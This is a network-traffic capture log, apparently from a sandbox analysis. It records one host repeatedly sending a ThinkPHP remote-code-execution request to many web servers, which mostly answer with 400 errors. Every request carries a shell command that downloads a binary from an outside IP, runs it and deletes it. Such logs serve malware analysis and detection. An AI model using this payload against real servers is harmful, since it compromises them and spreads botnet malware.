Dec 26, 2023 21:23:38.354590893 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:23:38 GMT Date: Tue, 26 Dec 2023 20:23:38 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 64 63 33 65 31 32 30 32 26 23 34 36 3b 31 37 30 33 36 32 32 32 31 38 26 23 34 36 3b 38 62 38 31 34 35 33 31 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.dc3e1202.1703622218.8b814531</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
162	192.168.2.23	41888	95.101.5.85	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:38.131347895 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:38.364217043 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:23:38 GMT Date: Tue, 26 Dec 2023 20:23:38 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 63 35 62 30 66 37 34 38 26 23 34 36 3b 31 37 30 33 36 32 32 32 31 38 26 23 34 36 3b 32 62 61 39 30 62 61 30 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.c5b0f748.1703622218.2ba90ba0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
163	192.168.2.23	35570	95.217.212.230	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:38.163688898 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:38.428395033 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.16.1 Date: Tue, 26 Dec 2023 20:23:38 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
164	192.168.2.23	52174	95.217.45.67	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:38.163966894 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:38.429295063 CET	519	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:23:38 GMT Server: Apache Content-Length: 341 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 33 30 32 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><p>Additionally, a 302 Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
165	192.168.2.23	46918	95.217.10.122	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:38.170949936 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:38.441926003 CET	495	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:23:38 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 301 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 31 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.52 (Ubuntu) Server at 127.0.1.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
166	192.168.2.23	41774	95.181.227.220	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:38.179249048 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:38.459553003 CET	932	IN	HTTP/1.1 400 Bad Request Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 681 date: Tue, 26 Dec 2023 20:23:38 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 30 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 49 74 20 69 73 20 6e 6f 74 20 61 20 76 61 6c 69 64 20 72 65 71 75 65 73 74 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 400 Bad Request</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">400</h1><h2 style="margin-top:20px;font-size: 30px;">Bad Request</h2><p>It is not a valid request!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
167	192.168.2.23	47484	95.101.210.81	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:38.422297001 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:38.712449074 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:23:38 GMT Date: Tue, 26 Dec 2023 20:23:38 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 63 63 66 32 36 34 35 66 26 23 34 36 3b 31 37 30 33 36 32 32 32 31 38 26 23 34 36 3b 31 31 32 66 64 39 35 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.ccf2645f.1703622218.112fd95d</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
168	192.168.2.23	43762	88.79.227.252	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:38.579418898 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:39.343693972 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:39.587683916 CET	404	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:23:39 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
169	192.168.2.23	35698	95.100.119.105	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:38.854099035 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:39.088637114 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:23:38 GMT Date: Tue, 26 Dec 2023 20:23:38 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 33 30 38 65 32 31 31 37 26 23 34 36 3b 31 37 30 33 36 32 32 32 31 38 26 23 34 36 3b 34 33 31 37 33 64 34 35 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.308e2117.1703622218.43173d45</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
170	192.168.2.23	57586	95.65.33.190	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:38.900723934 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:39.192166090 CET	275	IN	HTTP/1.1 505 HTTP Version not supported Content-Type: text/html; charset=utf-8 Content-Length: 140 Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 35 20 48 54 54 50 20 56 65 72 73 69 6f 6e 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 35 20 48 54 54 50 20 56 65 72 73 69 6f 6e 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>505 HTTP Version not supported</title></head><body><center><h1>505 HTTP Version not supported</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
171	192.168.2.23	49926	112.165.28.176	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:39.221822023 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:39.552232981 CET	163	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>400 Bad Request</H1>Your client has issued a malformed or illegal request.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
172	192.168.2.23	33562	112.144.128.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:39.229749918 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:39.560765028 CET	516	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Tue, 26 Dec 2023 20:23:38 GMT Server: lighttpd/1.4.35 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>
Dec 26, 2023 21:23:40.542574883 CET	516	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Tue, 26 Dec 2023 20:23:38 GMT Server: lighttpd/1.4.35 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html 